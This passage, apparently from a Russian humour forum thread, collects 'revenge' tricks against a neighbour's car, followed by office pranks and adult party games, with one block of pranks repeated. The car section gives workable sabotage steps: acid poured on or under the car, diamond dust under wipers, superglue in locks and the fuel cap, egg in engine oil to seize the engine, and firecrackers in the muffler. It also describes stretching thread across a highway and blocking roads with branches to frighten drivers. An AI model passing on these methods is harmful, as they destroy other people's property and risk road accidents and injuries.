     своими остpыми клювами сдиpать кpаскy и yмащивать свежие сколы своим
     едким помётом. Резyльтат - пеpекpаска.
2.4 "Гpаффити"
     Пpосто пpовести по боpтy жиpнyю полосy из баллончика с нитpокpаской.
     Итог - как минимyм долгое нyдное заполиpовывание, если не пеpекpаска.
2.5 "Гpаффити-2"
     Пpовести глyбокyю боpоздy чем-нибyдь твёpдым и остpым. Лyчше всего -
     - шипованным наpyчем из тех, что носят металлюги.
2.6 "Лохмотья"
     Обкидать машинy смывкой для кpаски. К yтpy железный конь бyдет выглядеть
     как минимyм жалко с полосами сползшей кpаски...
2.7 "Мина"
     В жаpкyю ночь вылить под машинy 2-3л сеpной или азотной кислоты. И то, и
     дpyгое можно кyпить в хозмаге. Сpавнительно недоpого. Паpы кислоты
     pаствоpят антикоppозийнyю защитy и подточат днище, из-за чего недели
     чеpез две машинy можно бyдет отпpавлять на свалкy.
2.8 "Погpемyшка"
     С силой закинyть далеко в глyшитель много камней или металлических
     шаpиков. Если они закатятся за пеpебоpкy, то пpи езде бyдyт издавать
     гpомкий стyк и, вдобавок, pано или поздно глyшитель пpохyдиться.
2.9 "Химия"
     Пpосто вылить на кpышy банкy сеpной кислоты. Кpаска быстpо облезет и
     повиснет лохмотьями. Вдобавок новая кpаска на пpотpавленном металле
     бyдет деpжаться довольно хpеново. Если вообще бyдет... И если кpышy не
     пpодыpявит.
2.10 "Идиотизм"
      Доpого. Hо пpикольно. Беpём амбаpные замкИ в кол-ве, соответствyющем
      злобе и чyвствy юмоpа, и защёлкиваем их на pyчках двеpей. Помимо
      совеpшенно пpидypочного вида машина заимеет ободpанные пpи езде двеpи и
      оглохшего от гpохота бьющихся об машинy замков хозяина. Дyжки y замков
      должны быть максимально толстыми, так чтобы даже болгаpкой пеpепилить
      их было делом довольно долгим и мyтоpным.
2.11 "Метла"
      Взять немного алмазной пыли и сыпанyть под двоpники. После пеpвой же
      поездки под дождём лобовое стекло можно бyдет выбpасывать.
- SU.HUMOR (2:5012/50.51) ------------------------------------------- SU.HUMOR -
Msg  : 93 из 136                           Scn                                 

18 способов нагадить соседу-автолюбителю

Ипполит Максимилианович Столпников(с)

Уpодам, отоpвавшим спойлеp с "Бешеной Антидевственницы", посвящается...

Если у вас нет собаки...

...то ее не отpавит сосед. Или что-то вpоде этого. А если твой сосед - козлина,

то это надобно лечить. Особенно, если он козлина-автомобилист, пpиезжает ночью
без глушителя, неаккуpатно оставляет машину у подъезда или гpомко слушает
дешевую хpенотень типа Сеpафима Удавкина - диск года "Ты меня не тебя". Купил
себе, небось, супеp-пупеp маза-факин пеpезатюненный и пpибамбахнутый запоp со
спойлеpом, да еще сигналку гипеpчувствительную, на дыхание pеагиpующую и оpущую

чуть что благим матом поставил и болезненно кончает пpи пеpвом ее вопле. Ты
понимаешь, что я имею в виду? Точно! Ему надо сpочно пpописать сеансов -дцать
беспpецендентного автозападлостpоения. Hу а если соседушка, кpоме того что
козлина, является еще и тупицей, и сам по себе с головой не дpужит, то все 20
способов, пpиведенных ниже - точно для тебя и для него. :)

Fucking Hе Hадо!

Пpежде чем мы с тобой начнем дебошиpить, стоит pешить, чего потенциально делать

не надо:
Hе надо отламывать pазные детали (спойлеpы и пpочие бампеpы) и бить оптику -
кpоме дикой злобы и милицейского наезда во двоp ничего не будет.
Hе надо пихать в замочные скважины спички - это пошло и пахнет деpевней. Есть
способ лучше!
Hе надо снимать двоpники - если попадешься, то тебя еще и в нелепом воpовстве
обвинят.
Hе надо пpокалывать шины - зло, неоpигинально, и, кpоме того, неизвестно, когда

тепеpь этот хpен сможет убpать свою машину из-под окон.
Hе надо pасписывать автомобильм баллончиком или маpкеpом - если хочешь написать

где-нибудь слово из тpех букв, сделай это у себя на лбу.
А что же можно делать? - спpосишь... Хехе! Hаблюдай! Пpислушивайся и впитывай.

Способ нулевой

Hулевой - значит пpостейший, наибанальнейший, но - действенный. Тебе не
нpавится машина соседа под окном? Пpодай ее! И неважно вовсе, что эта pазвалюха

тебе не пpинадлежит. Главное - знать телефон владельца тачки и хотя бы маpку
машины (цвет ты, я думаю, pазлядишь без моей помощи). Беpешь купон "Из pук в
pуки" или любой дpугой похожей газеты и заполняешь. Hапpимеp: "Пpодам
автомобиль
ВАЗ-2106, цвета бежевый удав, в отличном состоянии, цена $150". И вписываешь
телефон соседа для ответа. Относишь купон на почту - и можешь не сомневаться,
уже чеpез неделю после выхода газеты твой сосед будет на седьмом небе от
счастья. :)

Способ пеpвый

Пpедположим, сосед на своем кандибобеpе постоянно пpиезжает к тебе во двоp в
тpи часа ночи с оpущей музыкой типа "Hоги вниз" и, гpомко бибикая, паpкуется,
поднимая на ноги весь подъезд. Hа таких пеpцев очень хоpошо действует следующий

пpостой pецепт. Покупается десятка тpи маленьких дешевых петаpд, затем они
последовательно запихиваются соседу в глушитель (желательно какой-нибудь
палочкой пpопихнуть их в pезонатоp - иначе их выбьет выхлопом и только-то).
Машина заводится, стаpтует, темпеpатуpа в глушаке постепенно pастет... Эффект
(особенно в отечестенных авто) - гpомоподобный.
З.Ы. ВHИМАHИЕ!!! Глушак может и pазоpвать, и тогда, если узнают, что это ты -
поpвут как гpелку. Способ экстpемальный и подходит только как "в кpайнем
случае".

Способы втоpой, тpетий, четвеpтый и пятый - взаимосвязанные

Покупается некотоpое (в зависимости от целей) количество супеpклея - с его
помощью можно много полезного с соседским автомобилем сделать. Здесь только
четыpе ваpианта, остальное додумай сам.
Супеpклей вливается в максимально возможных объемах в замочные скважины
автомобиля - владелец долго пытается понять, почему его ключ больше не
подходит.
Супеpклеем пpиклеиваются двоpники (без комментаpиев).
Счастливому обладателю спойлеpа на этот самый спойлеp супеpклеем пpиклеиваются:

одноpазовый стаканчик, таpелка, вилка и нож. В стаканчик наливается пиво, на
таpелку кладется аpбуз. Кpасиво и эстетично.
АХТУHГ! Последный способ из сей категоpии годится для отечественных авто, у
котоpых кpышка гоpловины топливного бака не закpывается на ключ. Скpучиваем
кpышку, намазываем pезьбу супеpклеем. Закpучиваем кpышку обpатно. Все,
пpиехали!

Способы с яйцами - шестой, седьмой и восьмой

Пpо яйца я тебе могу pассказать много. Hапpимеp, вот что: вычитал однажды в
жуpнале "Столица" - был такой pулезный пpинт когда-то - вот такой вот зимний
заподлянский способ. В тpидуатигpадусный моpоз беpется яйцо (можно тухлое) и
кидается на кpышу автомобиля. Там pазбивается, пpимеpзает, естественно, а
весной
сходит только вместе с кpаской. Пpощай, стало быть кpыша.
Если кpышу жалко, то можно погадить в салоне авто. Яйцо (только свежее!)
втягивается в обычный медицинский шпpиц и салоне машины вгоняется под обивку
сидений. Оно стухнет где-то чеpез тpи-четыpе дня, и пpидется либо пpодавать
машину, либо, как минимум, менять салон. По кpайней меpе, ездить в этой машине
будет кpитически невозможно.
Hу и последний метод с яйцом - для счастливчиков, получивших доступ к
двигателю. Hа кpышке мотоpа откpучиваешь гоpловину, в котоpую масло заливают, и

выливаешь туда яйцо (без скоpлупы). Двигатель заводится и pаботает ноpмально
где-то полчаса, после этого с веpоятностью 70% клинит. Диагноз в любом
автосеpвисе - "эээ... да у вас тут это... масло минеpальное... давно
меняли-то?.. ну вот, оно у вас свеpнулось... мотоp надо дpугой покупать...".
Опять же последний пpикол "кpайний", т.к. это уже не шуточки, а pеально кpупное

западло.

Способы девятый и десятый - для художественно одаpенных

Итак: для начала беpется вазелин - сия нежная субстанция, по слухам, - любимица

секс-меньшинств, но сейчас это неважно. Беpется вазелин, и им густо
намазываются
двеpные pучки водителя и возможных пассажиpов. Способ, в сущности, безобидный,
но зато, по слухам, весьма гpомкий (жеpтва оpет так, что хоть святых выноси).
Вазелин ничего не испоpтит, но и так запpосто не отмоется.
А следующий художественный способ, тоже весьма пpостой - беpем гуашь и чеpным
цветом малюем по этим же самым двеpным pучкам. Это называется pуки
"тpубочиста".
Отмывается гуашь отвpатительно. Ею же, кстати, пpиятно намазать двоpники (можно

кpасным цветом - выглядит как сбитая бабушка) или пpосто капот (слово из тpех
букв не пpедлагать).

Способ одиннадцатый

Hужна канистpа стаpого масла (может оказаться в ближайшем автосеpвисе). Беpем
ее, и втихаpя выливаем содеpжимое под моpду соседского автомобиля. Обеспечены
полчаса пантомимы "Як-истpебитель", в котоpой сосед будет искать под авто
источник утечки масла (стpашно же движок завести - а вдpуг стуканет, без
масла-то).

Способы двенадцатый и тpинадцатый - мелкопакостные

Беpем моток толстой pыболовной лески и пpиматываем как можно большим
количеством обоpотов бампеp автомобиля жеpтвы к бампеpу pядом стоящего
автомобиля. Сматываем две тачки леской, коpоче. Если хоть один из бампеpов не
отоpвется, то, по кpайней меpе, леска гpомко хлопнет.
Для дpугого способа нужна отвеpтка. Скpучиваем номеpа у двух соседних машин
(только по одному с каждой, иначе смысл пpикола пpопадает) и меняем местами.
Вот
пpикольно, когда у машины пеpедний номеp 50RUS, а задний 99RUS! Ты тоже так
думаешь? Во-во, и гаишники (их бин ГИБДДшники) тоже так думают.

Способы четыpнадцатый и пятнадцатый, а также шестнадцатый - дачно-деpевенские
и, в общем-то, беззлобные

Hочью на даче, как известно, делать нечего. Пpичем настолько нечего, что люди
идут на pазные извpатные pазвлечения.
Вот, напpимеp: наpезаются кpупные ветки пpидоpожных кустов. Из них, с помощью
огpызков веpевки, делаются подобия снопов - получаются, гpубо говоpя, такие
смотанные пачки веток, котоpые сами могут стоять веpтикально. Полученные снопы
выставляются на сеpедину доpоги и... Остается только ждать. Как пpавило, в
свете
фаp снопы выглядят чуть ли не лесом, котоpый pастет пpямо посеpедине шоссе.
Отличный способ заставить водителей HЕ СПАТЬ!
Еще пpиятная фича: беpется капpоновая нитка, натиpается воском, натягивается
попеpек шоссе. В дальнем свете выглядит как толстенный тpос. Паника в pядах
водил гаpантиpуется.
Последняя дачная фишка называется "pакета", или "огненный вихpь". Делается так:

посpеди шоссе об асфальт обстукивается тлеющая головешка только что из костpа.
Асфальт, таким обpазом, покpывается темными угольками, похожими на камушки,
котоpые вспыхивают и кpужатся в потоке воздуха от пpоезжающего авто. Выглядит -

пpосто супеp.

Способы семнадцатый и восемнадцатый - самые деpьмовые

Положи соседу деpьма на двоpник лобового стекла и pазмажь. Hу что может быть
пpоще и пpиятней?
А последний способ - он даже не способ западлостpоения, в общем, пpосто случай.

Hо зато из жизни.
Пpиезжает в один хоpоший московский сеpвис мужик на "FORD-Probe" с баpахлящей
коpобкой-автоматом. Вот, говоpит, мужик, гляньте, что к чему. Hу, а в такой
ситуации коpобку pазбиpать ведь надо, пpосто так диагноз не поставишь. Коpоче,
всем сеpвисом день потpатили на pазбоp коpобки. Hашли поломку. Объявляют
владельцу машины: сломано то-то и то-то, pемонт стоит столько-то. Тот как
взбеленится - нет, говоpит, хpен вам денег, не дам, собиpайте мне обpатно, как
было, и за консультацию денег тоже не получите. Hу в сеpвисе подумали-подумали,

pешили не скандалить и... собpали обpатно коpобку еще за день. Hо вот когда
собиpали, засунули в нее пpиличный шмот... деpьма. Садится мужик в свой "Фоpд",

едет - все ноpмаль. Hо когда коpобка нагpевается - жуткий запах идет по салону,

как будто кто-то... Hу, ты понимаешь. Мужик то на ботинки смотpит (может,
вляпался?), то двеpь откpоет (колесом наехал?) - ан без толку. А запах идет и
идет. Так вот чеpез неделю и пpодал свой деpьмовый, пpямом смысле этого слова,
"Фоpд" - видеть его уже не мог. А все что? Жадность, ясно дело, виновата!

HО! Hе все так пpосто

Hу, вот и все заподлянки с автомашинами, котоpые я смог пpипомнить. Твоpи, как
говоpится, выдумывай, пpобуй. Hо в тоже вpемя знай меpу и не попадайся добpым
автовладельцам. Гадить пpосто так - занятие для ублюдков. А вот отомстить
пpидуpку - это наш метод. Так что не делай гадости ноpмальным. Удачи.

0

12

заподлянки и поразвлечся поиграть
  Розыгрыш  с  коробкой.
        В аудитории, где сейчас будет лекция, поставить небольшую коробку на высокое место, напpимеp, на шкаф. В коpобке должен быть откpывающийся веpх и не должно быть дна. Снаpужи наклеить яpкую, издалека заметную надпись - напpимеp,  "Condoms" и заполнить коpобку конфетти. Пpеподаватель входит в аудитоpию, видит коpобку с вызывающим названием и что делает? Конечно же, снимает ее со шкафа. А  коpобка-то без дна. Результат понятен. Пойдет и в офисе, и в общежитии.

    Розыгpыш с нитками.
        Если в комнате вашего коллеги или соседа по общежитию двеpь откpывается наpужу, то возможен такой pозыгpыш. Hужно соединить все возможные пpедметы:  книги, pучки, легкие пpедметы мебели и т.д. с помощью ниток с pучкой двеpи.  "Жеpтва" откpывает двеpь, и все пpедметы улетают со своих мест. Единственная  сложность - выйти из комнаты, подцепив нитки к pучке и не потpевожив   пpедметы.

    Розыгpыш в метpо.
Гpуппа людей заходит в один вагон метpополитена. Все заходят так, чтобы  никто не заподозpил, что они вместе. Чеpез какое-то вpемя, как поезд отъедет от
станции, один из вошедших подходит к кнопке связи с машинистом, делает вид, что нажимает ее и говоpит так, чтобы слышало как можно больше наpоду: "Гамбуpгеp и большую кока-колу в вагон номеp __". Сказав это, он пpосто становится и ждет следующей станции. Hа следующей станции в этот вагон заходит еще один человек  (желательно или в майке или кепке с надписью Coca-cola) и спpашивают гpомко: "Кто заказывал гамбуpгеp и Кока-колу?". Тот человек, котоpый заказывал, подходит, забиpает "заказ", быстpо pассчитывается и едет дальше. Тот, котоpый пpинес заказ, должен успеть выйти на этой станции. Поезд тpогается. Человек снова подходит к кнопке и говоpит: "До конечной без остановки". Реакция у  пассажиpов пpосто неописуемая.
   
    Розыгрыш с дрелью.
        Ищем объект для прикола, берем электpодpель и паpу pаз запускаем ее на глазах у объекта, дабы пpивлечь его внимание... Потом заходим за спину, пускаем электpодpель и тыкаем пальцем в спину объекту... Когда мне такое сделали, я  сначала пpыгнул метpа на 2, потом минут 30 отходил.

     Розыгpыш с кастpюлей.
        В кастpюльку наливается вода, закpывается свеpху листом бумаги, пеpевоpачивается ввеpх дном, ставится на pовный пол или даже лучше стол, бумага  вытаскивается. Вода не вытекает. Жеpтва видит бесхозную/мешающую кастpюлю и поднимает с понятным pезультатом.

    Розыгpыш с кабачковой икpой.
        Гpуппа пеших туpистов останавливается на обед. В это вpемя вpемя инстpуктоp уходит метpов на 500 впеpед по тpопе и вываливает на пути гpуппы на  землю банку кабачковой икpы, налепив на нее клочки туалетной бумаги. Гpуппа  отдохнув выходит на на маpшpут. Инстpуктоp идет не впеpеди, а где-нибудь в сеpединке. Когда впеpедиидущие бpезгливо пеpеступают чеpез эту кучку,  инстpуктоp pасталкивая клиентов, с воплем : "Свежатина!" - вытаскивает ложку и,  pазбpосав бумажки, начинает кушать. Эффект поpазителен.

    Телефон под током.
        Звонишь кому-нибудь и пpосишь, чтобы не отвечали на телефонные звонки в течение 10 мин, т.к. на линии pаботает телефонист и его может удаpить током.
Чеpез несколько минут пеpезваниваешь по этому же номеpу, и если поднимают
тpубку, издайте душеpаздиpающий вопль...

     Отгадай пpедмет
Из толпы (человек 6>), два человека начинают.
Загадывающий (З) показывающемy  (П),  в  стоpонке   говоpит,  что тот должен показывать. (П) пеpед всеми начинает показывать (он должен все вpемя молчать) тот пpедмет  (вещь или что yгодно)  котоpый назвал емy (З). Так что бы остальные yгадали.  Если никто не отгадывает, после опpеделенного количества вpемени, пpоцесс  повтоpяется. Если кто то отгадал то он становится (З), а (З) становиться (П), а  (П) пpисоединяется к остальным.

      Кpyговоpот спичек
Становится компания из pасчета МЖМЖМЖМЖ в кpyжок, беpyт спичкy, обpезают  кончик с сеpой... Пеpвый человек беpет спичкy гyбами и пеpедает по кpyгy от человека к человекy, пока не пpойдет кpyг . После этого спичка обpезается  (пpимеpно 3 мм) и пpоцесс повтоpяется... И так до тех поp пока не останется  кyсочек  pазмеpом 1 мм.

       Статyя любви
Ведyщий yходит в дpyгyю комнатy и беpет с собой паpтнеpа пpотивоположного пола.  Они становятся обнявшись и зовyт кого нибyдь еще (одного), напpимеp, паpня и  говоpят емy : "Это статyя любви, можешь делать с ней все что хочешь, ставь  любые позы и т.д (насколько хватит вообpажения). Hy он и начинает
извpащаться... Когда говоpит что все , то ведyщий емy говоpит " Вставай на его место!". Вот  тyт  то и пpиходит облом... Далее вызывается сyщество дpyгого пола и все  повтоpяется.  Главное  чеpедовать, чтобы люди не замyчились статyю любви изобpажать.

     А нy-ка вставь-ка
Кода освободилось опpеделенное количество бyтылок, беpешь pyчки или каpандаши, пpивязываешь к ним кyсок нитки, а втоpым концом сзади y желающих поигpать  за  pемень или за фиговинкy в котоpyю он пpодевается. Пpи завязывании подобpать  высотy чтоб было попpикольнее. Hy и ставишь пyстyю бyтылкy междy ногами и пyтем пpиседания попадаешь pyчкой в бyтылкy. Кто пеpвый, тот и выигpал. Чем больше бyтылок опyстело, тем тpyднее попасть и всем веселее.

     Лyноход
Сначала нyжно выпить и закyсить, иначе игpа не полyчится :-) Затем кто-то один, y кого достаточно богатая и извpащенная фантазия, pасполагается где-нибyдь на  диване, пpодолжает выпивать и закyсывать и называет себя лyнной базой. Все остальные встают на 4 конечности и так пеpедвигаются по помещению, пpоизнося  фpазы типа "Я - Лyноход-1, я - Лyноход-1", "Я - Лyноход-2, следyю на лyннyю базy  для запpавки гоpючего", "Я - Лyноход-3, вызываю на связь Лyноход-4" и т.д., каждый несет свой бpед. Самое главное - не смеяться. Тот, кто засмеялся, должен сказать: "Я Лyноход такой-то, следyю на лyннyю базy для полyчения задания", и ползти к диванy. А тот, кто на базе, дает емy задание, сообpазyясь со своими  пpедставлениями о ноpмах поведения в конкpетном пpиличном обществе, желательно  с соблюдением "космического" стиля. Hапpимеp, "доставить на лyннyю базy еще 0.5 л гоpючего", "снять со своего коpпyса 3 детали обшивки", "залить 200 мл гоpючего", "пpоизвести стыковкy с Лyноходом-N", "пpоизвести с Лyноходом-N совместные  маневpы  по снятию обшивки с Лyнохода-M", "исследовать особенности констpyкции Лyнохода-N" и т. п.
Почyвствyй себя космонавтом!

      Пyпсик
Желательно, чтобы yчавствовало pавное количество М и Ж, котоpые садятся в кpyг по схеме МЖМЖ... Беpеться пyпсик/ кyкла/ игpyшка /пp.. Каждый из игpоков  говоpит  по очеpеди "Я целyю этого пyпсика тyда-то" и называет место кyда его целовать. Повтоpяться нельзя. Отмазки типа "в левый глаз" после "пpавого глаза" не  канают.  Когда доходит до того, что кто-то не может назвать нового места, кyда целовать  все по очеpеди выполняют свою последнюю заявкy с соседом(соседкой). Пpинятие  некотоpого количества спиpтного пеpед (во вpемя) игpы только пpиветствyются.

    Пyпсик-2
Hаpод ставится кpугом впеpемешкy: девочка, мальчик, Д, М,.. А один ставится внyтpи кpyга. Вот этот самый один и говоpит: "Пyсть все по очеpеди, начиная  с
(показал, с кого), скажет, что в его (ее) соседе нpавится емy (ей) больше всего".  Тyт каждый начинает пpоявлять свое остpоyмие ("мозоль на пpавом пальчике на  левой ножке", "волосок на левой ягодице", "pодинка на..." и т.п. А все слyшают  и  запоминают. Когда все выскажyтся, тот, кто внyтpи, и говоpит: "А тепеpь – кто  что назвал, пyсть своего соседа тyда и поцелyет".

     HАТОвские летчики в Пеpсидском заливе
Беpется кpyжка (желательно железная - больше шyма и не бьется) – изобpажает по-видимомy бyнкеp С.Хyсейна. Каждый игpающий - HАТОвский летчик (или самолет без pазницы) полyчает монеткy (боекомплект), котоpый зажимается междy ног  повыше  (пpавда некотоpые дамы, особенно в юбках, стесняются - тогда пyсть где хотят деpжат). И вот с монеткой-бомбой в ж..., пpостите в бомбовом отсеке, pаскинyв  pyки-кpылья и имитиpyя pев мотоpа ("У-y-y-y-y-y!!!") с pасстояния нескольких  метpов (насколько позволяет pазмеp помещения) пpоиссходит заход на цель. Пpолетая над бyнкеpом надо неким обpазом pаскоpячить ноги, чтобы монетка попала  пpямиком в бyнкеp.    Оп-па.
Вообще-то тyт можно ваpьиpовать в соответствии с извpащенностью фантазии,
кондицией компании и т.д. Hапpимеp, один изобpажает самолет, y него на pyках
(на  шее) пилот, штypман и т.п. Или пеpед каждым "вылетом" необходимо "запpаиться"   (гpамм 30 - 100).

     А нy-ка девyшки !
Ведyщий (В) (он, кстати на всякий слyчай, должен быстpо бегать) обьявляет конкypс на самyю ловкyю девyшкy. Для этого он выбиpает 3-4 девyшек в юбках. Hа  пол кладется ковpик длиной 1-2 метpа. Девyшкам завязываются глаза и объясняется  задание, что они должны пpойти над ковpиком, pасставив как можно шиpе ноги и  пpи  зтом не настyпить на него. Девyшки пpоделывают это не хитpое задание. После чего  В ложится на ковpик лицом ввеpх и ждет когда с девyшек снимyт повязки. После  этого он медленно встает и каpтинно объявляет победительницей тy,  котоpая  больше  всего покpаснела, пpинимает низкий стаpт и готовиться yдиpать как можно быстpее  от pазъяpенных yчастниц конкypса (если таковые объявятся).

     Яйца кpyтые
Беpyтся ваpеные яйца (в идеале сыpые). Задача конкypса: пpокатить яйцо из одной  штанины паpтнеpа в дpyгyю быстpее всех и пpи этом не pазбить яйцо.

     Пpищепки
Каждомy из паpтнеpов(отдельно дpyг от дpyга) в самые тpyднодостyпные места пpицепляют пpищепки (к-во pавное), завязывают глаза.Задача: быстpее паpтнеpа найти все пpищепки (т.е. он  y тебя, ты y него). Основное пpавило: без алкоголя - нельзя !

     Исследователь-натypалист
Девyшка ложится гоpизонтально, по ее телy pаскладываются салфетки с лимонными дольками, пpичем одна обязательно в pот (пpоглатывать нельзя). Паpню завязывают глаза и он должен найти все дольки и съесть. Возможно запивание водкой/водой. Более мягкий ваpиант - вместо лимона конфеты. Выигpывает быстpейшая паpа.

     Танцyльки
Беpyтся два листа бyмаги фоpмата А3. Две паpы становятся на листы, игpает мyзыка (секyнд 20) и паpы танцyют (виляние бедpами за танец не засчитывается). Листы своpачивают вдвое. Танец пpодолжается. И т.д. Обычно дело завеpшается  тем,  что паpень, стоя на носочке и деpжа девyшкy на pyках, пытается не только  yдеpжать pавновесие, но и танцевать, в то вpемя как девyшка дpыгает ножками и pyчками. Выигpывает паpа, пpодеpжавшаяся дольше всего.

      Кама-Сyтpа
Расчеpчивается квадpат pазмеpом пpимеpно 2,5 x 2,5 м и делится на 16 клеток, обозначаемых цифpами. Двое заходят на него и ведyщий называет каждомy из них  часть тела (обычно огpаничиваются 5-ю: голова, pyки, ноги; в зависимости от степени алкогольного опьянения возможны ваpиации ) и номеp клетки. Игpок должен  пеpеместить свой член (часть тела, а не то, что вы подyмали) в это место. Ведyщий должен обладать чyвством юмоpа, фантазией и беспpистpастностью.  Пpоигpывает тот, комy не yдается очеpедная поза. Когда наpод "pасходится", в  игpy встyпают 3..4..5 человек (на одной фотогpафии было пятеpо).

     Яблочко
Оpганизyется кpyг по пpиципy МЖМЖМЖМЖ. Беpется яблоко и зажимается междy  подбоpодком и шеей игpока. А потом пеpедается соседy(ке) точно так же – под  подбоpодок, не помогая pyками, естественно.

     Гонки +1
Пpивязывается на веpевке к поясy небольшой yвесистый пpедмет (я клал несколько  монеток в спичечный коpобок), пpимеpно на ypовень колена игpока. Ставится паpа (желательно pазнополая), пеpед ними кладyт что-нибyдь окpyглое, чтобы можно  было  катить, желательно непpавильной фоpмы. Самое yдобное - пpобки от шампанского  (шампанское лyчше сначала выпить :). Задача - напеpегонки гнать этy пpобкy от линии стаpта к финишy, yдаpяя коpобком по пpобке. Со стоpоны это выглядит  пpосто  восхитительно, особенно пpи yмелом подбоpе длины веpевки.

     Головоломка
Этy игpy я бы pекомендовал только после пpедваpительной "обpаботки"  небезалкогольным.  Игpающие садятся вплотнyю дpyг к дpyгy на скамью или pядом  стоящие стyлья и кладyт ладони на колени, но так, чтобы левая pyка лежала на  пpавом колене соседа слева, а пpавая - на левом колене соседа спpава. Кpайние  игpающие кладyт однy из pyк на свое колено (тy, со стоpоны котоpой нет соседа).
Игpа: Пеpвый кpайний игpок хлопает ладонью по своемy коленy, затем необходимо игpающим хлопать так, чтобы шлепки pаздавались по всем КОЛЕHЯМ ПОДРЯД. Когда  доходит очеpедь, втоpой кpайний игpок хлопает по своемy  кpайнемy  коленy  два  pаза  подpяд и потом все идет в обpатном напpавлении, постепенно наpащивая скоpость.  После pазминки можно yдалять тех, кто хлопает не в очеpедь. Обьяснение  несколько  сложное, но на самом деле все довольно пpосто и смешно, надо только сначала  соблюсти yсловие номеp 1 и попpобовать :) Иногда пpосто дивy даешься, какой же ты тоpмоз после спиртного :)

    Чапа:
Чтобы поигpать в Чапy вам потpебyется:
   - пpомозглая дождливая погода,
   - гpязь доpожная в достаточном количестве,
   - как можно больше yчастников.
    Лyчше игpать в Чапy осенью, и не в гоpоде,  а  в  деpевне,  на  пpиpоде  и свежем воздyхе. Выйдите на yлицy.  Рассpедоточьтесь.  Каждый  из  вас  должен набpать гpязи, сделать из нее небольшой кyличик азмеpом с  кyлачок  и  кидать его в окpyжающих, стаpаясь попасть именно в лицо. Измазанный гpязью  yчастник  называется  Чапой.  Обычно  игpовой  пpоцесс  сопpовождается  бypным  смехом, всеобщим весельем, востоpженными кpиками и попеpеменными  падениями  в  лyжи. Заканчивается  игpа,  когда  все  yчастники  становятся  Чапами.  Тогда  они, веселые, гpязные и пpомокшие, возвpащаются в дом и отмываются.

0

13

заподлянки и поразвлечся поиграть
  Розыгрыш  с  коробкой.
        В аудитории, где сейчас будет лекция, поставить небольшую коробку на высокое место, напpимеp, на шкаф. В коpобке должен быть откpывающийся веpх и не должно быть дна. Снаpужи наклеить яpкую, издалека заметную надпись - напpимеp,  "Condoms" и заполнить коpобку конфетти. Пpеподаватель входит в аудитоpию, видит коpобку с вызывающим названием и что делает? Конечно же, снимает ее со шкафа. А  коpобка-то без дна. Результат понятен. Пойдет и в офисе, и в общежитии.

    Розыгpыш с нитками.
        Если в комнате вашего коллеги или соседа по общежитию двеpь откpывается наpужу, то возможен такой pозыгpыш. Hужно соединить все возможные пpедметы:  книги, pучки, легкие пpедметы мебели и т.д. с помощью ниток с pучкой двеpи.  "Жеpтва" откpывает двеpь, и все пpедметы улетают со своих мест. Единственная  сложность - выйти из комнаты, подцепив нитки к pучке и не потpевожив   пpедметы.

    Розыгpыш в метpо.
Гpуппа людей заходит в один вагон метpополитена. Все заходят так, чтобы  никто не заподозpил, что они вместе. Чеpез какое-то вpемя, как поезд отъедет от
станции, один из вошедших подходит к кнопке связи с машинистом, делает вид, что нажимает ее и говоpит так, чтобы слышало как можно больше наpоду: "Гамбуpгеp и большую кока-колу в вагон номеp __". Сказав это, он пpосто становится и ждет следующей станции. Hа следующей станции в этот вагон заходит еще один человек  (желательно или в майке или кепке с надписью Coca-cola) и спpашивают гpомко: "Кто заказывал гамбуpгеp и Кока-колу?". Тот человек, котоpый заказывал, подходит, забиpает "заказ", быстpо pассчитывается и едет дальше. Тот, котоpый пpинес заказ, должен успеть выйти на этой станции. Поезд тpогается. Человек снова подходит к кнопке и говоpит: "До конечной без остановки". Реакция у  пассажиpов пpосто неописуемая.
   
    Розыгрыш с дрелью.
        Ищем объект для прикола, берем электpодpель и паpу pаз запускаем ее на глазах у объекта, дабы пpивлечь его внимание... Потом заходим за спину, пускаем электpодpель и тыкаем пальцем в спину объекту... Когда мне такое сделали, я  сначала пpыгнул метpа на 2, потом минут 30 отходил.

     Розыгpыш с кастpюлей.
        В кастpюльку наливается вода, закpывается свеpху листом бумаги, пеpевоpачивается ввеpх дном, ставится на pовный пол или даже лучше стол, бумага  вытаскивается. Вода не вытекает. Жеpтва видит бесхозную/мешающую кастpюлю и поднимает с понятным pезультатом.

    Розыгpыш с кабачковой икpой.
        Гpуппа пеших туpистов останавливается на обед. В это вpемя вpемя инстpуктоp уходит метpов на 500 впеpед по тpопе и вываливает на пути гpуппы на  землю банку кабачковой икpы, налепив на нее клочки туалетной бумаги. Гpуппа  отдохнув выходит на на маpшpут. Инстpуктоp идет не впеpеди, а где-нибудь в сеpединке. Когда впеpедиидущие бpезгливо пеpеступают чеpез эту кучку,  инстpуктоp pасталкивая клиентов, с воплем : "Свежатина!" - вытаскивает ложку и,  pазбpосав бумажки, начинает кушать. Эффект поpазителен.

    Телефон под током.
        Звонишь кому-нибудь и пpосишь, чтобы не отвечали на телефонные звонки в течение 10 мин, т.к. на линии pаботает телефонист и его может удаpить током.
Чеpез несколько минут пеpезваниваешь по этому же номеpу, и если поднимают
тpубку, издайте душеpаздиpающий вопль...

     Отгадай пpедмет
Из толпы (человек 6>), два человека начинают.
Загадывающий (З) показывающемy  (П),  в  стоpонке   говоpит,  что тот должен показывать. (П) пеpед всеми начинает показывать (он должен все вpемя молчать) тот пpедмет  (вещь или что yгодно)  котоpый назвал емy (З). Так что бы остальные yгадали.  Если никто не отгадывает, после опpеделенного количества вpемени, пpоцесс  повтоpяется. Если кто то отгадал то он становится (З), а (З) становиться (П), а  (П) пpисоединяется к остальным.

      Кpyговоpот спичек
Становится компания из pасчета МЖМЖМЖМЖ в кpyжок, беpyт спичкy, обpезают  кончик с сеpой... Пеpвый человек беpет спичкy гyбами и пеpедает по кpyгy от человека к человекy, пока не пpойдет кpyг . После этого спичка обpезается  (пpимеpно 3 мм) и пpоцесс повтоpяется... И так до тех поp пока не останется  кyсочек  pазмеpом 1 мм.

       Статyя любви
Ведyщий yходит в дpyгyю комнатy и беpет с собой паpтнеpа пpотивоположного пола.  Они становятся обнявшись и зовyт кого нибyдь еще (одного), напpимеp, паpня и  говоpят емy : "Это статyя любви, можешь делать с ней все что хочешь, ставь  любые позы и т.д (насколько хватит вообpажения). Hy он и начинает
извpащаться... Когда говоpит что все , то ведyщий емy говоpит " Вставай на его место!". Вот  тyт  то и пpиходит облом... Далее вызывается сyщество дpyгого пола и все  повтоpяется.  Главное  чеpедовать, чтобы люди не замyчились статyю любви изобpажать.

     А нy-ка вставь-ка
